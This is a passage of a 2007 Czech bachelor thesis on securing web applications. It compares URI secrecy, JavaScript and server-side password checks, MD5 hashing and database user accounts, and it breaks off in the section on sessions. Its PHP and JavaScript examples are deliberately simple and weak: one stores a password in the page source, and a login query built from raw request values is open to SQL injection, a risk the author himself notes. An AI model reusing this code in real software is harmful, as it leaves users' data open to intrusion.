zabezpeceni_webovych..

Vysoká škola ekonomická v Praze
Fakulta informatiky a statistiky
Katedra informačních technologií
Student
:
Ladislav Pelcl
Vedoucí bakalářské práce
:
Ing. Daniel Rydzi
Recenzent bakalářské práce
:
Ing. Petr Kachlík
TÉMA BAKALÁŘSKÉ PRÁCE
Zabezpečení webových aplikací
ROK : 2007
Prohlášení
Prohlašuji, že jsem bakalářskou práci zpracoval samostatně a že jsem uvedl všechny použité
prameny a literaturu, ze kterých jsem čerpal.
V Praze dne 17. 1. 2007
Ladislav Pelcl
Abstrakt
Bakalářská práce se zabývá v současnosti často diskutovaným tématem zabezpečení
webových aplikací. S rostoucí dostupností připojení k Internetu se zvyšuje využití a nasazení těchto
aplikací – a s tím také počet lidí řešících problém jejich zabezpečení. Cílem této práce je poskytnout
těmto lidem základní znalosti o možných způsobech zabezpečení webových aplikací. Pro správnou
volbu je tento základní přehled nezbytností, jelikož požadovaná úroveň bezpečnosti se aplikace od
aplikace výrazně liší.
Po představení tématu začíná práce představováním různých metod zabezpečení webových
aplikací, počínaje velmi jednoduchými metodami, u kterých je použití slova „zabezpečení“ ještě
diskutabilní. Po popisu základních možností na straně klienta se posouváme k zabezpečení na straně
serveru. Nechybí zmínka o možnostech kombinace obojího, další text se však zabývá
komplikovanějšími serverovými řešeními s větším počtem uživatelů využívající aplikaci opakovaně.
Zabezpečení dostačující i pro aplikace největší důležitosti nacházíme až ke konci přehledu
s jednorázovými hesly a transparentním šifrováním. Zvláštní možnosti v prostředí intranetu spolu
s popisem častých nebezpečných chyb programátorů aplikací práci uzavírají.
Bakalářská práce se snaží poskytnout lidem zabývajícím se zabezpečením webových aplikací
ucelený přehled možností, jak zabezpečení realizovat – včetně předností a nedostatků jednotlivých
metod.
Abstract
Bachelor thesis focuses on currently frequently discussed topic of securing a web-based
application. With the increasing availability of broad-band internet connection, web-based applications
are getting very popular and the number of people responsible for securing these applications is
growing consecutively. The aim of the thesis is to provide these people with basic knowledge of
various methods used for securing the content on the web. In order to choose the best fitting security
solution for an application it is more than useful to be acknowledged with an overview like this
because the required level of security considerably differs with respect to the type of application.
After introducing the topic to the reader the thesis starts with describing various methods of
securing the web-based applications – beginning with very simple methods by which it is quite
disputable to use the word “security”. Having dealt with basic ways of securing the web-based
application on the client-side, the thesis moves on towards the server-side scripts. Further it displays
how client-side scripts can help eliminate the setbacks of server-side solutions; it describes more
complicated methods of managing multiple users repeatedly on their way through the application.
The state-of-the-art solution for mission critical applications emerges at the end of the
overview with one-time passwords and transparent encrypting. Special options available in the
intranet environment are presented then after, followed by a brief description of the common
dangerous pitfalls of application programmers.
The bachelor thesis could make it easier for the people responsible for security of a webbased application to become aware of a broad variety of possible solutions. It informs about qualities
and limitations of these solutions as well.
Obsah
1.
Úvod ...................................................................................................................... 6
1.1.
2.
3.
4.
5.
Ujasnění pojmů ............................................................................................... 6
Vybrané způsoby zabezpečení................................................................................... 7
2.1.
Utajení URI ..................................................................................................... 7
2.2.
Otázka v JavaScriptu v kombinaci s utajeným URI .............................................. 8
2.3.
JavaScript kontrolující zadané heslo................................................................... 9
2.4.
Flash nebo Java applet kontrolující heslo.......................................................... 10
2.5.
Zabezpečení heslem ověřovaným na straně serveru .......................................... 10
2.6.
Zabezpečení šifrovaným heslem ověřovaným na straně serveru ......................... 12
2.7.
Zabezpečení na straně serveru s více uživateli .................................................. 13
2.8.
Opakované ověření uživatele – sessions........................................................... 16
2.9.
Zabezpečení na úrovni webového serveru ........................................................ 19
2.10.
Další pokročilé formy zabezpečení ................................................................... 20
Transparentní šifrování........................................................................................... 22
3.1.
Zabezpečení aplikací za pomoci šifrování.......................................................... 22
3.2.
Fungování TLS............................................................................................... 22
3.3.
Shrnutí a využití............................................................................................. 23
Zabezpečení intranetových aplikací.......................................................................... 24
4.1.
Specifické možnosti intranetu.......................................................................... 24
4.2.
Přístup do aplikace z konkrétních počítačů........................................................ 24
4.3.
Přizpůsobení programového vybavení počítačů v organizaci ............................... 24
4.4.
Využití přihlašování uživatelů do lokální sítě organizace ..................................... 24
Časté a nebezpečné chyby...................................................................................... 25
5.1.
Kontrola obsahu proměnných.......................................................................... 25
5.2.
SQL injection ................................................................................................. 26
5.3.
Cross-site scripting......................................................................................... 27
5.4.
Umístění konfiguračních souborů..................................................................... 27
6.
Závěr.................................................................................................................... 28
7.
Seznam použité literatury ....................................................................................... 29
8.
Terminologický slovník ........................................................................................... 30
1. Úvod
Zabezpečení webových aplikací je potřeba, se kterou se setkává stále více lidí. Cenově
dostupnější jsou jak služby související s provozováním webových prezentací, tak i možnosti připojení
k Internetu. Na potřebu zabezpečení tak narážejí další a další jednotlivci a firmy, budující či rozšiřující
své webové prezentace či aplikace.
Ve své praxi jsem se setkal s dlouhou řadou možností, jak omezit přístup k webové aplikaci,
všechny však mají nějaká úskalí. Rozhodl jsem se tyto možnosti spolu s jejich silnými i slabými
stránkami a specifiky zmapovat tak, abych usnadnil rozhodování o volbě vhodného způsobu
zabezpečení těm, kteří před tímto úkolem z nějakého důvodu stojí.
Vybrané způsoby zabezpečení jsou seřazeny podle jejich účinnosti a náročnosti, začínaje těmi,
u kterých je použití slova „zabezpečení“ ještě diskutabilní, a konče způsoby používanými tam, kde je
zabezpečení nejdůležitější prioritou. Dále se věnuje zvláštní situaci, zabezpečení intranetové aplikace.
Výsledkem mého snažení by měl být přehled užitečný těm, kdo řeší zabezpečení webových
aplikací. Přehled nemá snahu být přehledem úplným, snaží se spíše popsat způsoby používané
v různých situacích.
Jedno z nejdůležitějších pravidel zabezpečení praví, že zabezpečení systému je tak silné, jako
jeho nejslabší článek. U velmi důležitých webových aplikací se tak zabezpečení stává natolik komplexní
záležitostí, že se už zdaleka nejedná jen o zabezpečení samotné aplikace a dostává se tak daleko
mimo vymezené téma, proto se spokojím jen s nástinem problematiky.
V důsledku pravidla o nejslabším článku také odmítám veškerou odpovědnost za možné škody
způsobené aplikací níže uvedeného.
1.1.
Ujasnění pojmů
Za webovou aplikaci budeme pro účely tohoto textu považovat informace umístěné na serveru
v Internetu, které může uživatel získávat, měnit je či s nimi dále pracovat prostřednictvím
internetového prohlížeče. To zahrnuje jak jednoduchou statickou webovou stránku s řádkem textu, tak
diskusní fórum či elektronické bankovnictví.
Terminologický slovník ČSSI [1] zná podobnou definici pro termín „internetová aplikace“: Druh
aplikace, jejíž uživatelské rozhraní je zobrazováno prohlížečem.1
Zabezpečením takovéto aplikace budeme rozumět omezení přístupu k aplikaci na cílovou
skupinu uživatelů.
Pro zjednodušení budeme osobu nebo osoby narušující zabezpečení aplikace, tedy získání
přístupu k ní, ačkoliv nejsou cílovou skupinou, nazývat „vetřelci.“
6
2. Vybrané způsoby zabezpečení
2.1.
Utajení URI
Popis
Jako první způsob zabezpečení jsem zvolil ten zřejmě nejjednodušší.
Pro umístění webové aplikace je třeba zvolit, jak bude uživatelům Internetu dostupná.
K navigaci na Internetu se využívají URI (z anglického Uniform Resource Identifier – unikátní
identifikátor internetového zdroje), které všichni známe jako internetové adresy, např.
http://www.firma.cz/.
Konkrétní
stránky
či
aplikace
pak
mívají
URI
např.
http://www.firma.cz/stranka.html či http://www.firma.cz/aplikace/. Části URI jsou popsány
v RFC 3986 [2], nás zajímá protokol HTTP2.
U protokolu HTTP můžeme zvolit doménu (či další subdomény), port serveru, cestu
k dokumentu či aplikaci, případně parametr předávaný aplikaci. Reálně si tedy můžeme zaregistrovat
doménu dle naší volby, můžeme spustit webový server3 se subdoménou dle naší volby, můžeme
webový server spustit na dalším portu, můžeme si vybrat jméno pro soubor s aplikací a umístit ho do
adresářové struktury. Vznikne nám URI naší aplikace, které chceme zabezpečit.
Dokud zvolené URI nezadáme do internetových katalogů – serverů, které se snaží
katalogizovat obsah Internetu, neumístíme na něj odkaz na jinou veřejnou stránku, známou
internetovým vyhledávačům, a URI zveřejníme jen cílové skupině uživatelů, existuje slušná
pravděpodobnost, že se k aplikaci nedostane nikdo nepovolaný.
Neprovádí se žádné ověření totožnosti uživatelů, není ani možné rozlišit je – kdokoliv zná URI,
získává přístup k aplikaci.
Přednosti
Ve své nejjednodušší formě je tento způsob zabezpečení použitelný velice snadno – stačí při
nahrávání aplikace na webový server zvolit jméno souboru.
Vzhledem k absenci dalších ověřovacích mechanismů zde neexistují žádné bariéry, které by
znepřístupňovaly aplikaci uživatelům, jejich prohlížeče nepodporují konkrétní technologie. Stačí znát
adresu aplikace a zadat ji do jakéhokoliv prohlížeče.
Nedostatky a hrozby
Nedostatky této metody jsou spojeny zejména s tím, že se nepodaří aplikaci udržet
zabezpečenou jen pro cílovou skupinu z některého z těchto důvodů:
1. uživatelé z cílové skupiny nedokáží uchovat URI v tajnosti:
a. na společně užívaných počítačích vetřelec najde URI v historii prohlížeče
b. uživatelé zveřejní URI úmyslně (ať již vědí či nevědí, co dělají – např. rozesláním emailem, umístěním odkazu na veřejné stránky)
2. vetřelec uhodne URI
3. vinou špatné konfigurace webového serveru je vypisován obsah adresářů a je možné se tak
dostat až přímo k aplikaci
4. vetřelec najde URI zaznamenané v log souboru4 webového serveru nebo jiného síťového
zařízení na trase od uživatele k aplikaci, ke kterému má přístup
7
Vhodné aplikace
Z výčtu nedostatků je patrné, že riziko narušení zabezpečení aplikace je poměrně velké, navíc
poroste s velikostí cílové skupiny. Zde platí pravidlo nejslabšího článku i v sociálním smyslu – stačí
jediný uživatel, který URI zveřejní.
Tento způsob zabezpečení či spíše utajení je proto vhodný pro aplikace, jejichž bezpečnost
není příliš důležitá – řekli bychom „Nemusí o tom nikdo vědět.“ ale pokud se o tom dozví, žádná větší
škoda nám nevznikne. Pojem „větší škoda“ je pochopitelně relativní a i v dalším textu je třeba vždy
individuálně zvážit, je-li zvolená metoda zabezpečení přiměřená možným škodám.
Příklady aplikací či situací, kde si lze představit použití této metody:
• soukromější část osobních stránek, obsahující kontaktní údaje, určená blízkým přátelům
• fotoalbum přátel či rodiny
• vývojová testovací verze webové aplikace
2.2.
Otázka v JavaScriptu v kombinaci s utajeným URI
Popis
Tento způsob je jednoduchým rozšířením metody předchozí.
Na veřejné stránce umístíme odkaz, na který uživatel klikne a za použití JavaScriptu5 se mu
zobrazí výzva s otázkou a místem pro zadání odpovědi. Uživatel zadá odpověď a skript ho přesměruje
na URI, jehož součástí je i řetězec zadaný jako odpověď.
Příklad
<html>
<head></head>
<body>
<script language="Javascript" type="text/javascript">
<!-function Autorizuj() {
odpoved=prompt("Jake je jmeno reky protekajici hlavnim mestem Ceske
republiky?");
cilovaadresa='http://www.example.com/' + odpoved + '.html';
location.replace(cilovaadresa);
}
//-->
</script>
<a href="JavaScript:Autorizuj()">zabezpečená stránka</a>
</body>
</html>
Zobrazený příklad po kliknutí uživatele na odkaz zobrazí otázku na jméno řeky protékající
hlavním městem České republiky. Bez ohledu na zadanou odpověď pak přesměruje uživatele na URI,
skládající se z http://www.example.com/, dále zadané odpovědi a nakonec .html.
Zadá-li tedy uživatel správnou odpověď „Vltava“, JavaScript ho přesměruje na adresu
http://www.example.com/Vltava.html (kde najde zabezpečené informace).
Přednosti
Výhod tohoto řešení oproti prostému utajení (2.1) může být několik:
1. existence veřejné „vstupní brány“
2. možnost návodné otázky – při její vhodné volbě lze tento způsob použít i u značně neurčitých
cílových skupin, postačuje-li nám jako její definice „ti, kdo znají odpověď na naši otázku“ –
8
např. otázka v příkladu omezí přístup na alespoň minimálně vzdělané Čechy, Slováky (včetně
těch v zahraničí) a navíc česky rozumějící cizince se základními znalostmi o ČR a cizince
schopné si text přeložit a zjistit odpověď na otázku
3. možnost použití složitého hesla, které nesouvisí s otázkou – zvolíme-li jako otázku „Zadejte
heslo:“ a jako odpověď řetězec „2D5e$d_d8eP“, pravděpodobně jej neuhodne nikdo, komu
heslo předem nesdělíme
4. bez znalosti odpovědi vetřelec nezjistí cílové URI, pomineme-li hádání a další prostředky
zmíněné u 2.1
5. řešení lze použít snadno na kterémkoliv webovém serveru, jelikož se jedná o skript na straně
klienta (client-side skript6), nevyžadující žádnou specifickou konfiguraci serveru
Nedostatky a hrozby
Nedostatky tohoto řešení jsou obdobné jako u 2.1 s jednou významnou navíc:
1. uživatelé nedokáží udržet v tajnosti cílové URI nebo heslo a zveřejní je
2. vetřelec uhodne heslo a tím i URI
3. vinou špatné konfigurace webového serveru, obsluhujícím cílové URI, je vypisován obsah
adresářů a je možné se tak dostat až přímo k aplikaci
4. vetřelec najde URI zaznamenané v log souboru
5. řešení vyžaduje prohlížeč s podporou JavaScriptu – existují prohlížeče JavaScript vůbec
nepodporující (lynx, links) a také uživatelé, kteří z bezpečnostních důvodů JavaScript vypínají
6. odpověď – heslo je třeba volit tak, aby bylo použitelné v URI nebo zajistit jeho zakódování
Vhodné aplikace
I v tomto případě je třeba zvážit důležitost utajovaných informací, protože nevýhod spojených
s prozrazením cílového URI je stále stejně. Navíc použití JavaScriptu z možnosti nasazení vyřazuje ty
aplikace, které musí či chtějí být maximálně přístupné všem. Možná nasazení tedy budou přibližně
stejná jako u 2.1.
2.3.
JavaScript kontrolující zadané heslo
Popis
I toto řešení je modifikací předešlého. Uživatel je na veřejné stránce vyzván k zadání hesla do
pole formuláře, po kliknutí na tlačítko JavaScript vyhodnotí, zda je zadané heslo správné a pokud ano,
přesměruje uživatele na cílovou stránku. Může také zareagovat nějakým způsobem na špatně zadané
heslo.
Příklad
<html>
<head></head>
<body>
<script language="Javascript" type="text/javascript">
<!-function Autorizuj(zadaneheslo) {
if (zadaneheslo=='spravneheslo')
location.replace('http://www.example.com/zabezpecena-stranka.html');
}
//-->
</script>
<form>
<input type="password" name="zadaneheslo">
9
<input type="button" value="Kontrola" name="submit"
onclick="javascript:Autorizuj(zadaneheslo.value)">
</form>
</body>
</html>
Zadá-li uživatel v příkladu řetězec „spravneheslo“, bude přesměrován na cílové URI
http://www.example.com/zabezpecena-stranka.html.
Z příkladu je patrné, že jak správné heslo, tak cílové URI je ve zdrojovém kódu viditelné.
Tomu lze do nějaké míry zabránit a zjištění hesla a zejména URI zkomplikovat, ale není možné tomu
zcela zabránit (zejména u URI; místo hesla by bylo možné použít hash hodnotu (otisk), získaný
například pomocí funkce MD57).
Přednosti
Řešení má jen některé z předností 2.2: existence veřejné „vstupní brány“, možnost návodné
otázky či složitého hesla, snadné nasazení na webových serverech. Za výhodu by bylo možné
považovat to, že jako heslo můžeme použít vcelku jakýkoliv řetězec, jelikož ho neomezuje použití
v URI.
Nedostatky a hrozby
Řešení má všechny nedostatky 2.2 kromě toho posledního, jak již bylo uvedeno ve
přednostech. Navíc má další podstatnou nevýhodu, již zmíněnou: vetřelec si může jak heslo, tak cílové
URI přečíst ve zdrojovém kódu či je z něj při vynaložení určitého úsilí získat.
Vhodné aplikace
Nedostatky toto řešení dosti diskvalifikují od jakéhokoliv seriózního nasazení. Překonat je ho
schopný kdokoliv, kdo se umí trochu orientovat ve zdrojovém kódu a JavaScriptu; na rozdíl od
předchozích dvou řešení zde není překonání zabezpečení otázkou náhody.
Je proto třeba počítat s tím, že tímto způsobem nezúžíme skupinu všech, kteří si naši stránku
zobrazí, na naši cílovou skupinu, ale spolu s ní i mnoho dalších lidí, kteří na stránku narazí.
2.4.
Flash nebo Java applet kontrolující heslo
Poznámka
Úskalím podobným minulému řešení se nevyhneme ani tehdy, zvolíme-li místo JavaScriptu
Flash8 či Javu9. U obojího se lze dostat až ke zdrojovému kódu a následně tedy zjistit buďto přímo
hesla a URI nebo způsob jejich ověření. To už pochopitelně může být složitější a může vyžadovat
např. znalost základů programování v Javě, ale pro většinu nasazení to stále není dostačující.
Nevyhovuje-li se nám řešení 2.1 nebo 2.2, zapojením client-side skriptů si nepomůžeme,
protože jejich fungování lze zjistit – i když často obtížně – a zabezpečení překonat. Přejdeme proto
k server-side skriptům10.
2.5.
Zabezpečení heslem ověřovaným na straně serveru
Popis
Skripty na straně serveru mají významnou výhodu v tom, že se jejich zdrojový kód nedostává
během fungování aplikace k uživatelům a tedy ani vetřelci nemají možnost najít v nich informace,
které by jim umožnily prolomit zabezpečení – neuděláme-li nějakou chybu.
Nejjednodušší řešení zabezpečení heslem, které je ověřované na straně serveru, může
fungovat například takto: uživatel zadá heslo do políčka formuláře na veřejně přístupné stránce
a formulář odešle kliknutím na tlačítko. Webový server informace přijme a předá je skriptům na straně
serveru, které heslo vyhodnotí a nechají webový server odeslat odpovídající informace o výsledku.
10
Příklad
<html>
<head></head>
<body>
<?php
if ($_REQUEST[heslo]=="tajneheslo") echo "Tajna informace";
?>
<form action="./skript.php" method="post">
<p>Heslo: <input type="password" size="15" name="heslo">
<input type="submit" value="Odeslat"></p>
</form>
</body>
</html>
Kód uvedený v příkladu nabídne uživateli políčko pro zadání hesla, to se odešle metodou
POST11 zpět na webový server. Ten předá překladači PHP12 jméno skriptu a parametr s názvem
„heslo“ – PHP provede jednoduché vyhodnocení, zda se zadaný text rovná řetězci „tajneheslo“
a pokud ano, zobrazí tajné informace, reprezentované textem „Tajna informace“.
Kód PHP, uzavřený mezi značkami <?php a ?>, se do prohlížeče uživatele nikdy nedostane.
Přednosti
Oproti předešlým řešením zde najdeme několik výhod:
1. malé nároky na vybavení uživatelů – použité řešení nevyžaduje od uživatelů žádné
nadstandardní technologie jako JavaScript, Flash atd.
2. přečtením zdrojového kódu, který se dostane k uživateli, není možné odhalit heslo
3. jde o řešení veřejné s možnostmi zadat návodné otázky a zvolit libovolně složité heslo
Nedostatky a hrozby
Některých nedostatků jsme se zbavili, stále tu však některé zůstávají.
1. uživatelé nedokáží udržet v tajnosti heslo
2. vetřelec uhodne heslo
3. vetřelec najde URI zaznamenané v log souboru (zejména při použití metody GET13), jelikož
zadaná hesla se zasílají nešifrovaná přes Internet
4. řešení vyžaduje možnost použití skriptovacího jazyka na straně serveru
Vhodné aplikace
Řešení pracující na straně serveru nás významně posouvají směrem k aplikacím, pro které je
zabezpečení věcí nezbytnou. Tímto způsobem si můžeme dovolit spolehlivě zabezpečit:
• seznamy kontaktů a e-mailů
• sekce pro správce malých webů
• důvěrné informace určené malé cílové skupině
• soukromá malá diskusní fóra
11
2.6.
Zabezpečení šifrovaným heslem ověřovaným na straně serveru
Popis
Abychom eliminovali poměrně důležitou slabinu řešení 2.5, potřebujeme odesílat heslo od
uživatele k serveru zašifrované. Spokojíme-li se s hashovací funkcí MD5, můžeme toho dosáhnout
zapojením JavaScriptu.
Nestačí nám však vytvořit MD5 hash samotného hesla, neboť by bylo možné odposlechnout
hash a přihlásit se s jeho pomocí. Potřebujeme vytvořit cosi na způsob one-time password14, aby bylo
možné se s tímto hashem přihlásit jen jednou.
Příklad
<html>
<head></head>
<body>
<script type="text/javascript" src="./md5.js"></script>
<script type="text/javascript">
<!-function ZasifrujHeslo() {
var formular = document.getElementById('formular');
formular.zasifrovaneheslo.value = calcMD5("<?php echo
MD5(Time().$HTTP_USER_AGENT."doplnkovyretezec"); ?>" +
calcMD5(formular.nesifrovaneheslo.value));
formular.nesifrovaneheslo.value = "";
formular.casvygenerovani.value = "<?php echo Time(); ?>";
return true;
}
-->
</script>
<?php
if (Time() > ($_REQUEST[casvygenerovani]+600)) echo "Od vygenerovani
prihlasovaci stranky uplynulo prilis dlouho casu, prihlaste se znovu.";
elseif ((MD5(
MD5($_REQUEST[casvygenerovani].$HTTP_USER_AGENT."doplnkovyretezec").MD5("ta
jneheslo"))!=$_REQUEST[zasifrovaneheslo]) &&
($_REQUEST[nesifrovaneheslo]!="tajneheslo")) echo "Zadali jste nespravne
heslo.";
else echo "Tajna informace";
?>
<form id="formular" action="./skript.php" method="post" onsubmit="return
ZasifrujHeslo()">
Heslo: <input class="text" type="password" size="15" maxlength="20"
name="nesifrovaneheslo">
<input type="hidden" name="zasifrovaneheslo"><input type="hidden"
name="casvygenerovani">
<input type="submit" value="vstoupit">
</form>
</body>
</html>
Co přesně se děje v příkladu? Při odeslání formuláře JavaScriptová funkce nejprve vytvoří MD5
hash z nešifrovaného hesla a pak spolu s MD5 hashem vygenerovaným předem v PHP vytvoří další
společný MD5 hash, který uloží do skrytého formulářového pole s názvem „zasifrovaneheslo“.
Předpřipravený MD5 hash vznikl z času vygenerování stránky, názvu prohlížeče uživatele a nějakého
dalšího řetězce – jednotlivé části ani jejich pořadí nejsou uživateli známy. JavaScript dále smaže heslo
12
v poli formuláře „nesifrovaneheslo“ (aby se nakonec přece jen neodeslalo nezašifrovaně), do
proměnné čas vygenerování vloží hodnotu nastavenou v PHP a formulář odešle.
PHP na straně serveru nejprve zkontroluje, zda od vygenerování formuláře neuplynulo příliš
mnoho času (zde 6 minut). Pokud ne, sestaví si samo onen společný MD5 hash – čas vygenerování
mu byl zaslán v proměnné, název prohlížeče také, doplňkový řetězec zná a heslo také. Porovná hash
s hashem zaslaným v „zasifrovaneheslo“ a pokud se neshodují, vypíše chybu.
Aby uživatelé bez podpory JavaScriptu měli možnost se také přihlásit, i když nezašifrovaně,
skript navíc ověřuje ještě shodu hesla s proměnnou „nezasifrovaneheslo“ (pokud JavaScript
nefunguje, obsah proměnné se při odesílání logicky nesmaže).
Pokud se uživateli podaří nešifrovaně či zašifrovaně přihlásit, zobrazí se mu tajná informace.
Poznámka
Pro výpočet MD5 hashe pomocí JavaScriptu lze použít např. implementaci Paula Johnstona,
dostupnou na http://pajhome.org.uk/.
Přednosti
Oproti řešení 2.5 nám přibývá výhoda přenosu hesla v šifrované podobě a to ještě jen
krátkodobě využitelného – vetřelec má tedy výrazně sníženou šanci dostat se k informacím i v případě,
že odposlechne přenesená data.
Nedostatky a hrozby
Pro realizaci vlastního šifrování je použit JavaScript, což má ale jen ten dopad, že u uživatelů
nepodporujících JavaScript se řešení degraduje na úroveň řešení 2.5. Ostatní nedostatky zůstávají
v platnosti.
Vhodné aplikace
Tímto způsobem můžeme zřejmě nejbezpečněji zabezpečit všechny aplikace, kde si ještě
vystačíme s jediným heslem.
2.7.
Zabezpečení na straně serveru s více uživateli
Popis
Při rozdělení aplikací na škále od jednoduchých po ty nejsložitější si můžeme povšimnout, že
v určitém okamžiku začínají používat tzv. uživatelské účty. Lze pro to najít řadu důvodů:
• usnadnění používání webu pro uživatele personalizací – uživatelé diskusního fóra nemusejí
vždy znovu vyplňovat své jméno u příspěvků, obchodní partneři své kontaktní údaje do
objednávek
• identifikace uživatelů – uživatelské jméno bývá přidělováno individuálním subjektům – tedy
lidem, firmám – a lze tak zjistit, kdo právě aplikaci využívá či kdo si přečetl poslední
zprávu
• řízení přístupu k jednotlivým částem aplikace a uloženým datům – můžeme určitým
uživatelům či skupinám uživatelů zabránit v přístupu ke vkládání příspěvků do
redakčního systému, ke čtení cizích příspěvků či jejich editaci – naopak můžeme
umožnit editaci příspěvků např. jen autorovi
• kontrola přístupu k aplikaci – můžeme zaznamenávat, kdy který uživatel provedl jakou akci
v aplikaci
• zmírnění a omezení dopadů narušení bezpečnosti – jsou-li prozrazeny přístupové informace
jednoho uživatelského účtu, nemusí mít vetřelec dostatečná oprávnění ke zjištění všech
informací či provedení škodlivých změn
13
Při realizaci zabezpečení s použitím uživatelských účtů můžeme pracovat s přístupovými údaji
uživatelů několika způsoby:
• uživatelská jména a hesla jsou uložena přímo ve skriptu – nevýhodou je nutnost zásahu do
programového kódu při každém přidání uživatele, proto je vhodné jen pro velmi malý
počet uživatelů v řádu jednotek
• uživatelská jména a hesla jsou uložena v nezávislém souboru na disku serveru – práce se
soubory z hlediska programování není příliš elegantní a neumožňuje snadno na
uživatelské účty navázat další informace, proto je použitelnost i tohoto způsobu
omezená; při velkém počtu uživatelů (více než stovky) je práce se souborem časově
náročná
• uživatelská jména a hesla jsou uložena v databázi15 – výhodou je snadná možnost
manipulace s daty a možnost navázání dalších informací – uživatelských nastavení aj.
Dále se proto budeme zabývat poslední možností, konkrétně na příkladu databáze relační.
Pro definici a manipulaci s daty v relačních databázích slouží jazyk SQL16. S jeho pomocí
můžeme nejjednodušším způsobem zaznamenat uživatelská data do takovéto tabulky:
Příklad
CREATE TABLE uzivatele (
jmeno VARCHAR(25) PRIMARY KEY,
heslo VARCHAR(32))
Takto jsem si připravili tabulku, do které budeme vkládat informace o uživatelích – vždy
uživatelské jméno jako „jmeno“ a heslo jako „heslo“ – zároveň máme zajištěno, že uživatelské jméno
bude v tabulce uloženo vždy jen unikátní, protože nám databázový server – SŘBD17 – nedovolí vložit
tam dvakrát stejné jméno.
Pro uživatelská jména platí „dobrý zvyk“ omezovat znaky, ze kterých se skládají – to týká
často diakritiky, velkých písmen, mezer. Uživatelé mají sklon zapomínat, které písmeno mají napsat
velké či kolik mezer kde původně měli. Diakritika také nemusí být kompatibilní s dalšími systémy, které
mohou být na webovou aplikaci napojeny – například uživatelská jména v e-mailových adresách.
Zatímco uživatelské jméno je věcí, kterou sice není radno nikde příliš vystavovat (jelikož to
usnadňuje brute-force18 útoky pro jednotlivá uživatelská jména), u hesel je zabezpečení naprosto
prioritní záležitostí.
Z hlediska uložení dat proto raději místo hesel samotných ukládáme jejich hash, například
MD57. V případě narušení bezpečnosti serveru s databází tak nejsou vetřelci prozrazena vlastní hesla
uživatelů a neusnadníme tím tedy vetřelci útoky na další aplikace, kde mohou mít uživatelé použita
stejná hesla – znemožníme mu také se do aplikace přihlásit a v časové tísni tak nemusí stihnout zjistit
všechny chráněné informace. Uložení hesel šifrovaně má jeden další efekt – uživatelům ani správce
systému není schopen sdělit heslo v případě, že ho zapomenou. Může jim však vždy nastavit heslo
nové.
Rozšířenou praxí správců počítačových systémů a potažmo i webových aplikací bývají další
požadavky na hesla, či alespoň doporučení (další viz [4]):
• složitost hesla a minimální délka – při brute-force útocích18 je možné krátká hesla či hesla
složená jen z písmen anglické abecedy „uhodnout“ za výrazně kratší dobu, délka hesla
a další znaky (číslice a další znaky, které nejsou součástí abecedy) uhodnutí významně
komplikují
• pravidelná změna hesla – původně zřejmě zavedená kvůli času potřebnému na uhodnutí
hesla, dnes po třiceti letech působí spíše kontraproduktivně a znesnadňuje uživatelům
zapamatování hesla
14
Pro přihlášení uživatele k aplikaci budeme potřebovat stránku s formulářem pro zadání
uživatelského jména a hesla. Po odeslání zkusíme vyhledat v databázi řádek, u kterého se shoduje
uživatelské jméno a heslo s těmi zadanými řetězci (respektive MD5 hashem hesla). Najdeme-li takový
řádek, uživateli je umožněn přístup k aplikaci.
Příklad
<html>
<head></head>
<body>
<?php
$pripojeni = pg_connect("dbname=nazev user=uzivateldatabaze
password=heslouzivatele");
if (!$pripojeni) die("Nepodarilo se pripojit k databazi.");
$hledaniuzivatele = pg_exec($pripojeni, "SELECT jmeno FROM uzivatele WHERE
jmeno='".$_REQUEST[jmeno]." ' AND heslo = '".MD5($_REQUEST[heslo])."'");
if (pg_num_rows($hledaniuzivatele)==1) echo "Tajna informace";
else echo "Zadali jste spatne uzivatelske jmeno ci heslo.";
?>
<form id="formular" action="./skript.php" method="post">
Jmeno: <input type="text" size="15" maxlength="20" name="jmeno">
Heslo: <input type="password" size="15" maxlength="20" name="heslo">
<input type="submit" value="vstoupit">
</form>
</body>
</html>
Pro názornost zde není použité šifrování hesla do MD5 hashe JavaScriptem na straně uživatele
z 2.6, ačkoliv to je samozřejmě možné a doporučené. Pro příklad je použito opět PHP, tentokrát
v kombinaci s databázovým systémem PostgreSQL. V kódu si lze všimnout připojení k databázovému
systému.
Přednosti
Jak již vyplývá z úvodního popisu, tato metoda má kromě předností řešení 2.6 ještě několik
dalších významných kladů:
1. přístupová jména a hesla nejsou obsažena ani ve zdrojovém kódu aplikace
2. heslo je v databázi uloženo šifrovaně
3. uživatelské účty poskytují další možnost rozvoje aplikace (velká množství identifikovatelných
uživatelů) a také snižují rizika v případě porušení bezpečnosti
Nedostatky a hrozby
Ani zde se nevyhneme určitým nedostatkům:
1. hrozba získání hesla vetřelcem, byť je snížená a její důsledky jsou omezené, tu vždy je
2. náročnost tohoto řešení na konfiguraci serveru jsou opět větší, vyžadují databázový systém
3. při nedůsledné kontrole obsahu proměnných může hrozit tzv. SQL injection, viz 5.2
Pro úplnost dodejme, že jak databázový systém, tak webový server je třeba také zabezpečit
proti přístupu neoprávněných osob, jinak budou představovat zásadní nejslabší článek našeho řetězu.
15
Vhodné aplikace
Tímto způsobem si můžeme troufnout i na rozsáhlé aplikace s tisíci a více uživateli,
pochopitelně s odpovídající optimalizací a výkonem, více viz aplikace u 2.8.
Poznámka – hashování
Hash je jakýmsi otiskem původních dat, například zprávy či hesla. Hashovací funkce fungují
tak, že ze vstupního řetězce vytvoří definovaným algoritmem jiný řetězec s pevnou délkou – ten je
vytvořen vždy stejný. Pokud se vstupní řetězec změní, změní se i výsledný otisk. Díky tomu lze tyto
funkce využít ke kontrole integrity dat či porovnávání dvojice hesel.
Vzhledem k pevné délce otisku existují také tzv. kolize, tedy situace, kdy pro dva různé
vstupní řetězce získáme stejný otisk, což je nežádoucí.
Kryptografických hashovacích funkcí existuje řada, jednou z nejznámějších je již zmíněná
MD57. Její bezpečnost se od jejího uvedení v roce 1991 podstatně snížila, kolize lze různými algoritmy
nalézt až v řádu minut [11]. To však neznamená, že lze takto rychle odhalit původní řetězec – což by
bylo přesně to, o co by vetřelec usiloval, získal-li by přístup k naší databázi hesel.
Z funkcí, u kterých útočné algoritmy zatím nebyly tolik úspěšné, lze jmenovat například SHA-1
či SHA-2 (zkratka anglického Secure Hash Algorithm), jejichž použití je v PHP také možné.
2.8.
Opakované ověření uživatele – sessions
Popis
Dosud uvedená řešení příliš neřešila situaci, kdy potřebujeme uživateli umožnit přístup
k aplikaci či jejím částem opakovně. To je přitom velmi častý případ, zejména u složitějších
a rozsáhlejších aplikací – ať jde o diskusní fóra, redakční systémy či bankovní aplikace.
Bylo by nepříjemné zatěžovat uživatele po vstupu na každou další stránku výzvou k zadání
